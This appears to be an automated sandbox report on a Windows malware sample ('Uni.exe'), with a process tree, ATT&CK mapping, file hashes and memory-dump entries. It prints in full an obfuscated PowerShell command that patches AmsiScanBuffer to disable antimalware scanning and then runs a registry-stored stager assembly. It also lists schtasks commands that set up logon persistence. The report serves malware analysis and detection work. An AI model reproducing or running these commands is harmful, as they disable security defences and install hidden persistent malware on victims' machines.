- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:kGFIBnmTqOaK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$VPMBYccJGXgqMz,[Parameter(Position=1)][Type]$wGhIKnHnmP)$qhAbXCVnFHg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+'l'+''+'e'+'g'+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+'M'+''+[Char](111)+''+'d'+''+'u'+'l'+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+'at'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+','+'S'+'e'+'a'+''+'l'+''+'e'+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+''+'i'+'C'+[Char](108)+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$qhAbXCVnFHg.DefineConstructor(''+[Char](82)+'TS'+'p'+'e'+[Char](99)+'i'+[Char](97)+''+'l'+'Na'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+'e'+''+'B'+''+[Char](121)+''+[Char](83)+'i'+'g'+''+[Char](44)+''+'P'+'u'+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$VPMBYccJGXgqMz).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$qhAbXCVnFHg.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+[Char](101)+'','P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+'H'+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+'Si'+[Char](103)+''+','+'N'+'e'+'w'+[Char](83)+'l'+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$wGhIKnHnmP,$VPMBYccJGXgqMz).SetImplementationFlags('Ru'+[Char](110)+''+'t'+'i'+'m'+'e,'+[Char](77)+''+'a'+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $qhAbXCVnFHg.CreateType();}$XCFOCJjzddzeE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+'t'+'e'+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+'.W'+'i'+''+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+'s'+[Char](97)+''+[Char](102)+''+'e'+''+[Char](78)+'ati'+'v'+''+[Char](101)+''+'M'+''+[Char](101)+'t'+'h'+'o'+[Char](100)+'s');$DjFQGWrBdomHzk=$XCFOCJjzddzeE.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+'d'+[Char](114)+''+'e'+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+'b'+[Char](108)+'i'+'c'+''+[Char](44)+'St'+'a'+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RhLMjGGNbJINbcLeWpo=kGFIBnmTqOaK @([String])([IntPtr]);$XgeKkfomnnhYLmJRcZhhDU=kGFIBnmTqOaK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$zJQKgzGRkLM=$XCFOCJjzddzeE.GetMethod('Ge'+'t'+''+[Char](77)+''+[Char](111)+'dule'+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+'ll')));$WtnbtgjnmGLDwp=$DjFQGWrBdomHzk.Invoke($Null,@([Object]$zJQKgzGRkLM,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$fyoXhgABJzKWrZrLk=$DjFQGWrBdomHzk.Invoke($Null,@([Object]$zJQKgzGRkLM,[Object]('Vi'+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+'l'+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$RWZrYUe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WtnbtgjnmGLDwp,$RhLMjGGNbJINbcLeWpo).Invoke(''+'a'+'m'+[Char](115)+'i'+[Char](46)+''+[Char](100)+'ll');$clfrGMfKnPIsswLYT=$DjFQGWrBdomHzk.Invoke($Null,@([Object]$RWZrYUe,[Object](''+[Char](65)+''+[Char](109)+''+'s'+'iS'+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+[Char](114)+'')));$ghLCqnwclk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fyoXhgABJzKWrZrLk,$XgeKkfomnnhYLmJRcZhhDU).Invoke($clfrGMfKnPIsswLYT,[uint32]8,4,[ref]$ghLCqnwclk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$clfrGMfKnPIsswLYT,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fyoXhgABJzKWrZrLk,$XgeKkfomnnhYLmJRcZhhDU).Invoke($clfrGMfKnPIsswLYT,[uint32]8,0x20,[ref]$ghLCqnwclk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+'W'+'A'+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+'7'+[Char](55)+''+'s'+''+[Char](116)+''+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:3180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1408

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1512

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2064

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2280

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2720

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2804

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3092

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3276

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1892

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1044

C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
"C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3552

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:1832

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:2668

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:1116

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3456

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3880

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4012

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4048

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4736

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:5092

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2024

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4576

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4864

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:908

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1660

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1312

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe
Filesize
409KB

MD5
7417c8c73e614f293152575f46134216

SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805

SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_0n0ae04v.ksg.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
bb7d9cd87343b2c81c21c7b27e6ab694

SHA1
27475110d09f1fc948f1d5ecf3e41aba752401fd

SHA256
b06963546e5a36237a9061b369789ebdfc6578c4adfbb3ad425a623ffd2518df

SHA512
bf6e222412df3e8fb28fbdd2247628b85ed5087d7be94fa77577a45d02c5f929f20d572867616f1761c86a81e0769d63be5a4e737975c7e7ebc2ef9dccae9a0b

Download Submit
memory/468-80-0x00000267A8CB0000-0x00000267A8CDB000-memory.dmp

Filesize
172KB

Download
memory/468-86-0x00000267A8CB0000-0x00000267A8CDB000-memory.dmp

Filesize
172KB

Download
memory/468-87-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/644-47-0x0000026F9CEA0000-0x0000026F9CECB000-memory.dmp

Filesize
172KB

Download
memory/644-53-0x0000026F9CEA0000-0x0000026F9CECB000-memory.dmp

Filesize
172KB

Download
memory/644-54-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/644-45-0x0000026F9CE70000-0x0000026F9CE95000-memory.dmp

Filesize
148KB

Download
memory/644-46-0x0000026F9CEA0000-0x0000026F9CECB000-memory.dmp

Filesize
172KB

Download
memory/696-64-0x0000019BD1EF0000-0x0000019BD1F1B000-memory.dmp

Filesize
172KB

Download
memory/696-58-0x0000019BD1EF0000-0x0000019BD1F1B000-memory.dmp

Filesize
172KB

Download
memory/696-65-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/788-91-0x000001A55D8D0000-0x000001A55D8FB000-memory.dmp

Filesize
172KB

Download
memory/1000-75-0x0000026C31DC0000-0x0000026C31DEB000-memory.dmp

Filesize
172KB

Download
memory/1000-76-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1000-69-0x0000026C31DC0000-0x0000026C31DEB000-memory.dmp

Filesize
172KB

Download
memory/1212-30-0x0000022744C00000-0x0000022744C2A000-memory.dmp

Filesize
168KB

Download
memory/1212-32-0x00007FFA690D0000-0x00007FFA6918D000-memory.dmp

Filesize
756KB

Download
memory/1212-31-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1212-21-0x000002272C740000-0x000002272C762000-memory.dmp

Filesize
136KB

Download
memory/1892-2-0x00000000054A0000-0x0000000005A46000-memory.dmp

Filesize
5.6MB

Download
memory/1892-5-0x0000000004E40000-0x0000000004EA6000-memory.dmp

Filesize
408KB

Download
memory/1892-6-0x0000000005B70000-0x0000000005B82000-memory.dmp

Filesize
72KB

Download
memory/1892-4-0x0000000074F00000-0x00000000756B1000-memory.dmp

Filesize
7.7MB

Download
memory/1892-0-0x0000000074F0E000-0x0000000074F0F000-memory.dmp

Filesize
4KB

Download
memory/1892-7-0x00000000060A0000-0x00000000060DC000-memory.dmp

Filesize
240KB

Download
memory/1892-3-0x0000000004EF0000-0x0000000004F82000-memory.dmp

Filesize
584KB

Download
memory/1892-1-0x0000000000310000-0x000000000037C000-memory.dmp

Filesize
432KB

Download
memory/1892-20-0x0000000074F00000-0x00000000756B1000-memory.dmp

Filesize
7.7MB

Download
memory/3484-35-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3484-42-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3484-40-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/3484-41-0x00007FFA690D0000-0x00007FFA6918D000-memory.dmp

Filesize
756KB

Download
memory/3484-33-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3484-34-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3484-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3484-36-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3552-13-0x0000000074F00000-0x00000000756B1000-memory.dmp

Filesize
7.7MB

Download
memory/3552-14-0x0000000074F00000-0x00000000756B1000-memory.dmp

Filesize
7.7MB

Download
memory/3552-672-0x0000000006E20000-0x0000000006E2A000-memory.dmp

Filesize
40KB

Download
memory/3552-1323-0x0000000074F00000-0x00000000756B1000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads